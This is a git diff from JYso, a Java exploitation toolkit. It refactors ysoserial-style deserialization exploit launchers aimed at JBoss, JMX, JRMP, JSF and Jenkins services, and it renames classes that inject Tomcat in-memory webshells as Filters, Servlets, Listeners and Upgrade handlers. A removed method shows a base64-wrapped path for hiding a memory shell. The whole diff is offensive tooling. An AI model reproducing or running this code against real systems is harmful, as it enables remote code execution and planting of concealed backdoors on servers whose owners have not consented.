diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index c170383..0f3b7d4 100644 Binary files a/.gradle/8.7/checksums/checksums.lock and b/.gradle/8.7/checksums/checksums.lock differ diff --git a/.gradle/8.7/executionHistory/executionHistory.bin b/.gradle/8.7/executionHistory/executionHistory.bin index 3afde8e..0e2bd24 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.bin and b/.gradle/8.7/executionHistory/executionHistory.bin differ diff --git a/.gradle/8.7/executionHistory/executionHistory.lock b/.gradle/8.7/executionHistory/executionHistory.lock index 7d5b6b4..abd959a 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.lock and b/.gradle/8.7/executionHistory/executionHistory.lock differ diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin index 54a61ad..6489e71 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.bin and b/.gradle/8.7/fileHashes/fileHashes.bin differ diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index 2b68264..e28c442 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.lock and b/.gradle/8.7/fileHashes/fileHashes.lock differ diff --git a/.gradle/8.7/fileHashes/resourceHashesCache.bin b/.gradle/8.7/fileHashes/resourceHashesCache.bin index 3922616..6b8ed92 100644 Binary files a/.gradle/8.7/fileHashes/resourceHashesCache.bin and b/.gradle/8.7/fileHashes/resourceHashesCache.bin differ diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock index e6066d7..de92ae0 100644 Binary files a/.gradle/buildOutputCleanup/buildOutputCleanup.lock and b/.gradle/buildOutputCleanup/buildOutputCleanup.lock differ diff --git a/.gradle/buildOutputCleanup/outputFiles.bin b/.gradle/buildOutputCleanup/outputFiles.bin index 0db19fb..cfad928 100644 Binary files a/.gradle/buildOutputCleanup/outputFiles.bin and b/.gradle/buildOutputCleanup/outputFiles.bin differ diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe index f238e5b..cd85119 100644 Binary files a/.gradle/file-system.probe and b/.gradle/file-system.probe differ diff --git a/build.gradle b/build.gradle index 5bc2d5d..57b5561 100644 --- a/build.gradle +++ b/build.gradle @@ -101,7 +101,7 @@ dependencies { } group = 'org.example' -version = '1.3.1' +version = '1.3.2' description = 'JYso' java.sourceCompatibility = JavaVersion.VERSION_1_8 diff --git a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java index 0cdc23c..f1c8c38 100644 --- a/src/main/java/com/qi4l/jndi/controllers/ysoserial.java +++ b/src/main/java/com/qi4l/jndi/controllers/ysoserial.java @@ -142,7 +142,6 @@ public class ysoserial { // 储存生成的 payload PAYLOAD = object; - if (isFromExploit()) { return; } diff --git a/src/main/java/com/qi4l/jndi/exploit/JBoss.java b/src/main/java/com/qi4l/jndi/exploit/JBoss.java index 94a57ca..36e41e7 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JBoss.java +++ b/src/main/java/com/qi4l/jndi/exploit/JBoss.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import com.qi4l.jndi.gadgets.utils.Reflections; import org.jboss.remoting3.Connection; @@ -76,7 +76,7 @@ public class JBoss { String[] newArray = new String[args.length - 1]; System.arraycopy(args, 1, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; String username = null; diff --git a/src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java b/src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java index 5730610..5dc313b 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java +++ b/src/main/java/com/qi4l/jndi/exploit/JMXInvokeMBean.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import javax.management.MBeanServerConnection; @@ -32,7 +32,7 @@ public class JMXInvokeMBean { String[] newArray = new String[args.length - 2]; System.arraycopy(args, 2, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging"); diff --git a/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java b/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java index 54eb9a3..e270bea 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java +++ b/src/main/java/com/qi4l/jndi/exploit/JRMPClient.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import sun.rmi.transport.TransportConstants; @@ -38,7 +38,7 @@ public class JRMPClient { String[] newArray = new String[args.length - 2]; System.arraycopy(args, 2, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; try { diff --git a/src/main/java/com/qi4l/jndi/exploit/JRMPListener.java b/src/main/java/com/qi4l/jndi/exploit/JRMPListener.java index 0122fd6..d5c19ea 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JRMPListener.java +++ b/src/main/java/com/qi4l/jndi/exploit/JRMPListener.java @@ -1,6 +1,7 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; + import com.qi4l.jndi.controllers.ysoserial; import com.qi4l.jndi.gadgets.utils.Reflections; import javassist.ClassClassPath; @@ -70,7 +71,7 @@ public class JRMPListener implements Runnable { String[] newArray = new String[args.length - 1]; System.arraycopy(args, 1, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); final Object payloadObject = ysoserial.PAYLOAD; try { diff --git a/src/main/java/com/qi4l/jndi/exploit/JSF.java b/src/main/java/com/qi4l/jndi/exploit/JSF.java index 41e6de7..e562c64 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JSF.java +++ b/src/main/java/com/qi4l/jndi/exploit/JSF.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import org.apache.commons.codec.binary.Base64; @@ -46,7 +46,7 @@ public class JSF { String[] newArray = new String[args.length - 1]; System.arraycopy(args, 1, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; URLConnection c = u.openConnection(); diff --git a/src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java b/src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java index 86b9a1f..a6cef94 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java +++ b/src/main/java/com/qi4l/jndi/exploit/JenkinsCLI.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import com.qi4l.jndi.gadgets.utils.Reflections; import hudson.remoting.Callable; @@ -44,7 +44,7 @@ public class JenkinsCLI { String[] newArray = new String[args.length - 1]; System.arraycopy(args, 1, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; Channel c = null; diff --git a/src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java b/src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java index 40a6409..cb564ca 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java +++ b/src/main/java/com/qi4l/jndi/exploit/JenkinsListener.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import com.qi4l.jndi.gadgets.JRMPListener; import com.qi4l.jndi.gadgets.utils.Reflections; @@ -178,7 +178,7 @@ public class JenkinsListener { String[] newArray = new String[args.length - 2]; System.arraycopy(args, 2, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); Object payloadObject = ysoserial.PAYLOAD; objOut.writeObject(payloadObject); diff --git a/src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java b/src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java index 6de2f65..6fdac07 100644 --- a/src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java +++ b/src/main/java/com/qi4l/jndi/exploit/JenkinsReverse.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.exploit; -import com.qi4l.jndi.Starter; +import static com.qi4l.jndi.controllers.ysoserial.ysoserial; import com.qi4l.jndi.controllers.ysoserial; import com.qi4l.jndi.gadgets.JRMPClient; import hudson.remoting.Channel; @@ -33,7 +33,7 @@ public class JenkinsReverse { String[] newArray = new String[args.length - 2]; System.arraycopy(args, 2, newArray, 0, newArray.length); - Starter.main(newArray); + ysoserial(newArray); final Object payloadObject = ysoserial.PAYLOAD; String myAddr = args[1]; int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; diff --git a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java index 3bed699..f06a5bd 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/jndi/gadgets/Config/Config.java @@ -112,7 +112,7 @@ public class Config { // Listener 型内存马，通常使用 ServletRequestListener， 关键方法 requestInitializedHandle KEY_METHOD_MAP.put("javax.servlet.ServletRequestListener", "requestInitializedHandle"); // Websocket 型内存马，关键方法 onMessage - KEY_METHOD_MAP.put("javax.websocket.MessageHandler█Whole", "onMessage"); + KEY_METHOD_MAP.put("javax.websocket.MessageHandler$Whole", "onMessage"); // Tomcat Upgrade 型内存马，关键方法 accept KEY_METHOD_MAP.put("org.apache.coyote.UpgradeProtocol", "accept"); // Tomcat Executor 型内存马，关键方法 execute diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java index d4f70da..fb46aa0 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java @@ -2,7 +2,7 @@ package com.qi4l.jndi.gadgets.utils; import com.qi4l.jndi.gadgets.Config.Config; import com.qi4l.jndi.template.Agent.WinMenshell; -import com.qi4l.jndi.template.memshellStatic.tomcat.TSMSFromJMXF; +import com.qi4l.jndi.template.memshellStatic.tomcat.TFMSFromJMX; import javassist.*; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; @@ -203,7 +203,7 @@ public class InjShell { //添加到类路径，防止出错 ClassPool pool; pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(TSMSFromJMXF.class)); + pool.insertClassPath(new ClassClassPath(TFMSFromJMX.class)); // 根据传入的不同参数，在不同方法中插入不同的逻辑 CtMethod cm = ctClass.getDeclaredMethod(method); cm.setBody(payload); @@ -287,46 +287,6 @@ public class InjShell { } - public static String structureShellTom(Class payload) throws Exception { - Config.init(); - ClassPool pool = ClassPool.getDefault(); - pool.insertClassPath(new ClassClassPath(payload)); - CtClass ctClass = pool.get(payload.getName()); - InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, Config.Shell_Type); - ctClass.setName(ClassNameUtils.generateClassName()); - if (Config.winAgent) { - TinsertWinAgent(ctClass); - return injectClass(WinMenshell.class); - } - if (Config.linAgent) { - TinsertLinAgent(ctClass); - return injectClass(WinMenshell.class); - } - if (Config.HIDE_MEMORY_SHELL) { - switch (Config.HIDE_MEMORY_SHELL_TYPE) { - case 1: - break; - case 2: - CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); - newClass.setName(ClassNameUtils.generateClassName()); - String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";"; - String className = "className=\"" + ctClass.getName() + "\";"; - newClass.defrost(); - newClass.makeClassInitializer().insertBefore(content); - newClass.makeClassInitializer().insertBefore(className); - - if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { - Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); - CtClass superClass = pool.get(abstTranslet.getName()); - newClass.setSuperclass(superClass); - } - - return injectClass(newClass.getClass()); - } - } - return injectClass(ctClass.getClass()); - } - //类加载方式，因类而异 public static String injectClass(Class clazz) { diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java index c11b39f..35ff984 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/StringUtil.java @@ -48,7 +48,7 @@ public class StringUtil { public static boolean isFromExploit() { StackTraceElement[] stackTraceElements = Thread.currentThread().getStackTrace(); for (int i = 0; i < stackTraceElements.length; i++) { - if (stackTraceElements[i].getClassName().startsWith("com.qi4l.jndi.gadgets.exploit")) { + if (stackTraceElements[i].getClassName().startsWith("com.qi4l.jndi.exploit")) { return true; } } diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromJMX.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromJMX.java index 5048d2e..db1599f 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromJMX.java @@ -21,7 +21,7 @@ import java.util.Set; * * @author QI4L */ -public class TSMSFromJMXF implements Filter { +public class TFMSFromJMX implements Filter { public static String pattern; public static String NAME; @@ -68,7 +68,7 @@ public class TSMSFromJMXF implements Filter { Object filterDef = filterDefClass.newInstance(); filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, NAME); - Filter filter = new TSMSFromJMXF(); + Filter filter = new TFMSFromJMX(); filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, filter.getClass().getName()); filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, filter); diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequest.java similarity index 98% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequest.java index fb187c1..ef73243 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequest.java @@ -18,7 +18,7 @@ import java.util.List; * 遍历线程组，在 request 中查找带有特定 Header 的请求，并从 request 获取 ServletContext 添加 Filter 型内存马 * 添加成功后，会回显 Success 字样，参考 ShiroAttack2 */ -public class TFMSFromRequestF implements Filter { +public class TFMSFromRequest implements Filter { public static HttpServletRequest request = null; public static HttpServletResponse response = null; @@ -110,7 +110,7 @@ public class TFMSFromRequestF implements Filter { public static void addFilter() { ServletContext servletContext = request.getServletContext(); - Filter filter = new TFMSFromRequestF(); + Filter filter = new TFMSFromRequest(); String filterName = NAME; String url = pattern; if (servletContext.getFilterRegistration(filterName) == null) { diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThread.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThread.java index 1c2a5f6..ce13f9c 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadF.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThread.java @@ -18,7 +18,7 @@ import java.util.Map; * * @author QI4L */ -public class TFMSFromThreadF implements Filter { +public class TFMSFromThread implements Filter { public static String pattern; @@ -55,7 +55,7 @@ public class TFMSFromThreadF implements Filter { Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); - TFMSFromThreadF behinderFilter = new TFMSFromThreadF(); + TFMSFromThread behinderFilter = new TFMSFromThread(); FilterDef filterDef = new FilterDef(); filterDef.setFilter(behinderFilter); diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMX.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMX.java index b13ac19..76e9603 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMXLi.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromJMX.java @@ -23,7 +23,7 @@ import java.util.Set; * * @author QI4L */ -public class TLMSFromJMXLi implements ServletRequestListener { +public class TLMSFromJMX implements ServletRequestListener { static { try { @@ -52,7 +52,7 @@ public class TLMSFromJMXLi implements ServletRequestListener { field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(obj); - TLMSFromJMXLi listener = new TLMSFromJMXLi(); + TLMSFromJMX listener = new TLMSFromJMX(); standardContext.addApplicationEventListener(listener); } } catch (Exception ignored) { diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromThread.java similarity index 94% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromThread.java index 9a4a389..693a0b3 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadLi.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TLMSFromThread.java @@ -15,7 +15,7 @@ import java.lang.reflect.Field; /** * 使用线程注入 Tomcat Listener 型内存马 */ -public class TFMSFromThreadLi implements ServletRequestListener { +public class TLMSFromThread implements ServletRequestListener { static { try { // 获取 standardContext @@ -35,7 +35,7 @@ public class TFMSFromThreadLi implements ServletRequestListener { standardContext = (StandardContext) field2.get(root); } - TFMSFromThreadLi listener = new TFMSFromThreadLi(); + TLMSFromThread listener = new TLMSFromThread(); standardContext.addApplicationEventListener(listener); } catch (Exception ignored) { } diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMX.java similarity index 96% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMX.java index 9969b86..e4a9f5f 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMXS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromJMX.java @@ -19,7 +19,7 @@ import java.util.Set; * * @author QI4L */ -public class TSMSFromJMXS implements Servlet { +public class TSMSFromJMX implements Servlet { public static String pattern; @@ -55,7 +55,7 @@ public class TSMSFromJMXS implements Servlet { Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(NAME); standardContext.addChild(wrapper); - Servlet servlet = new TSMSFromJMXS(); + Servlet servlet = new TSMSFromJMX(); wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromRequest.java similarity index 99% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromRequest.java index a6ed504..01a5c7b 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromRequestS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromRequest.java @@ -21,7 +21,7 @@ import java.util.List; * 遍历线程组，在 request 中查找带有特定 Referer 的请求，并从 request 获取 ServletContext 添加 Servlet 型内存马 * 添加成功后，会回显 Success 字样，参考 ShiroAttack2 */ -public class TFMSFromRequestS implements Servlet { +public class TSMSFromRequest implements Servlet { public static HttpServletRequest request = null; public static HttpServletResponse response = null; @@ -124,7 +124,7 @@ public class TFMSFromRequestS implements Servlet { wrapper.setName(NAME); standardContext.addChild(wrapper); - Servlet servlet = new TFMSFromRequestS(); + Servlet servlet = new TSMSFromRequest(); wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromThread.java similarity index 95% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromThread.java index c53aeb9..d923faa 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TFMSFromThreadS.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TSMSFromThread.java @@ -13,7 +13,7 @@ import java.lang.reflect.Field; * * @author QI4L */ -public class TFMSFromThreadS implements Servlet { +public class TSMSFromThread implements Servlet { public static String pattern; @@ -43,7 +43,7 @@ public class TFMSFromThreadS implements Servlet { Wrapper wrapper = standardContext.createWrapper(); wrapper.setName(NAME); standardContext.addChild(wrapper); - Servlet servlet = new TFMSFromThreadS(); + Servlet servlet = new TSMSFromThread(); wrapper.setServletClass(servlet.getClass().getName()); wrapper.setServlet(servlet); diff --git a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMX.java similarity index 97% rename from src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java rename to src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMX.java index 22fd52d..9519ed4 100644 --- a/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMXuP.java +++ b/src/main/java/com/qi4l/jndi/template/memshellStatic/tomcat/TUGMSFromJMX.java @@ -20,7 +20,7 @@ import java.util.HashMap; /** * Tomcat Upgrade 内存马 */ -public class TUGMSFromJMXuP implements UpgradeProtocol { +public class TUGMSFromJMX implements UpgradeProtocol { public static String pattern; static { @@ -58,7 +58,7 @@ public class TUGMSFromJMXuP implements UpgradeProtocol { upgradeProtocolsField.setAccessible(true); HashMap upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler); - upgradeProtocols.put(pattern.substring(1), new TUGMSFromJMXuP()); + upgradeProtocols.put(pattern.substring(1), new TUGMSFromJMX()); upgradeProtocolsField.set(handler, upgradeProtocols); break; }